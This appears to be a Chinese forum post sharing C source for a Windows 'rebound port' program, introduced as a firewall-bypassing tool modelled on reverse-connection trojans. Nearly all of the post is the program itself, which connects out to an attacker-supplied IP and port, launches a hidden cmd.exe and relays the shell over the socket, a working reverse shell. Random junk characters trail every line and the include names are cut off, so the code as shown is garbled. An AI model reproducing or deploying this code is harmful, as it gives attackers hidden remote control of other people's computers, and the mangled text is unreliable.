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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Jvr`9<`  
?wpl 88z  
/* ============================== |h-e+Wh1  
Rebound port in Windows NT @+yjt'B  
By wind,2006/7 8fA8@O}  
===============================*/ @Px_\w  
#include yVt8QF!  
#include md;jj^8zj  
Bk@&k}0  
#pragma comment(lib,"wsock32.lib") Np@RK1}  
]ASTw(4  
void OutputShell(); ?U3~rro!  
SOCKET sClient; ]iry'eljy  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <lP5}F87  
>!PCEw<i  
void main(int argc,char **argv) p%-;hL!  
{ wUKt$_]``  
WSADATA stWsaData; ;8g[y"I  
int nRet; 2#X>^LH  
SOCKADDR_IN stSaiClient,stSaiServer; D2'J (  
U*\ 1d  
if(argc != 3) -u~AY#*  
{ 4^7*R  
printf("Useage:\n\rRebound DestIP DestPort\n"); #{5h6IC  
return; "0m\y+%8  
} $GQ{Ai:VwF  
/ >O.U?  
WSAStartup(MAKEWORD(2,2),&stWsaData); Z b:S IJ  
<~  ?LU^  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4F,RlKHBl  
^%NjdZuDO  
stSaiClient.sin_family = AF_INET; [<.dOe7|  
stSaiClient.sin_port = htons(0); 8gJg7RxL  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z-m:l;  
<;hy-Q()D  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;CDa*(e  
{ ~ep^S^V+  
printf("Bind Socket Failed!\n");  t: 03  
return; vz^=o'  
} zKFiCP K  
ntn ~=oL  
stSaiServer.sin_family = AF_INET; nG7E j#1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <x1,4a~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #YK=e&da  
tS[%C)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E&0]s  
{ naM=oSB(  
printf("Connect Error!"); D<lVWP  
return; :oytJhxU  
} =xr2-K)e  
OutputShell(); m6o o-muAr  
} ;-VXp80J  
H(DI /"N  
void OutputShell() gH/(4h  
{ OySn[4`(i  
char szBuff[1024]; e?<$H\  
SECURITY_ATTRIBUTES stSecurityAttributes; bdj')%@n  
OSVERSIONINFO stOsversionInfo; {CQI*\O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3^]Kd  
STARTUPINFO stStartupInfo; smPZ%P}P+c  
char *szShell; h%&2M58:  
PROCESS_INFORMATION stProcessInformation; oiItQ4{<  
unsigned long lBytesRead; PDb7h  
KNSMx<GP  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B:fulgh2ni  
Yq%r\[%*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); sPRs;to-  
stSecurityAttributes.lpSecurityDescriptor = 0; %8lWJwb7u  
stSecurityAttributes.bInheritHandle = TRUE; 95*=& d  
}*VRj;ff  
|M|>/U 8  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); bf/z T0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Xbc:Vr  
;M5]XCP k  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P]H4!}M  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vY]7oX+  
stStartupInfo.wShowWindow = SW_HIDE; b"eG8  
stStartupInfo.hStdInput = hReadPipe; !wIrI/P7#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; .F@ 2C  
4K$_d,4`U  
GetVersionEx(&stOsversionInfo); R2y~+tko?  
s\.\z[1  
switch(stOsversionInfo.dwPlatformId) .`^wRpa2M  
{ i*e'eZ;)  
case 1: a>#]d  
szShell = "command.com"; 'e8O \FOf  
break; u(g9-O  
default: EO"G(v  
szShell = "cmd.exe"; ( #rhD}  
break; U?j[ 8z  
} c Sktm&SP  
4)d"}j  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +krDmU9(  
[N0"mE<  
send(sClient,szMsg,77,0); (4IH%Ez){  
while(1) A5,(P$@ k  
{ s[}cj+0  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); afye$$X  
if(lBytesRead) ( \7Yo^  
{ B dxV [SF  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DS=Dg@y  
send(sClient,szBuff,lBytesRead,0); RH "EO4  
} /;`-[   
else QVe<Z A8N;  
{ d>Ky(wS  
lBytesRead=recv(sClient,szBuff,1024,0); B+[L/C}=;  
if(lBytesRead<=0) break; v8\pOI}c  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); uOb}R   
} Z + )<FX  
} -Hg,:re2  
URMxCL^"  
return; >uJU25)|  
}
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